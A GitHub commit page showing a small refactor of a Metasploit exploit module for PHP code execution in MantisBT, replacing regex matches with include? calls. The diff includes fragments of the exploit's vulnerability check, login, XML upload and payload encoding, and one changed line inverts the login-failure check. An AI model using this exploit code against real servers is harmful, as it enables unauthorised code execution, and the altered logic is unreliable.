Skip to content

Commit d007b72

Browse files
committed
favor include? over =~
1 parent 4277c20 commit d007b72

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

modules/exploits/multi/http/mantisbt_php_exec.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def initialize(info = {})
5151
def check
5252
res = exec_php('phpinfo(); die();', true)
5353

54-
if res && res.body =~ /This program makes use of the Zend/
54+
if res && res.body && res.body.include?('This program makes use of the Zend')
5555
return Exploit::CheckCode::Vulnerable
5656
else
5757
return Exploit::CheckCode::Unknown
@@ -91,7 +91,7 @@ def do_login()
9191
})
9292
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
9393

94-
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
94+
fail_with(Failure::NoAccess, 'Wrong credentials') unless res && res.redirection.to_s.include?('login_page.php')
9595

9696
session_cookie = "#{session_cookie} #{res.get_cookies}"
9797
end
@@ -119,12 +119,12 @@ def upload_xml(payload_b64, rand_text, cookies, is_check)
119119
}
120120
})
121121

122-
unless res && res.code == 200
122+
unless res && res.code == 200 && res.body
123123
print_error('Error trying to access XmlImportExport/import page...')
124124
return false
125125
end
126126

127-
if res.body =~ /Plugin is not registered with MantisBT/i
127+
if res.body.include?('Plugin is not registered with MantisBT')
128128
print_error('XMLImportExport plugin is not installed')
129129
return false
130130
end
@@ -237,7 +237,7 @@ def exec_php(php_code, is_check = false)
237237
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
238238

239239
# clean b64 payload
240-
while Rex::Text.encode_base64(payload_clean) =~ /=/
240+
while Rex::Text.encode_base64(payload_clean).include?('=')
241241
payload_clean = "#{ payload_clean } "
242242
end
243243
payload_b64 = Rex::Text.encode_base64(payload_clean)

0 commit comments

Comments
 (0)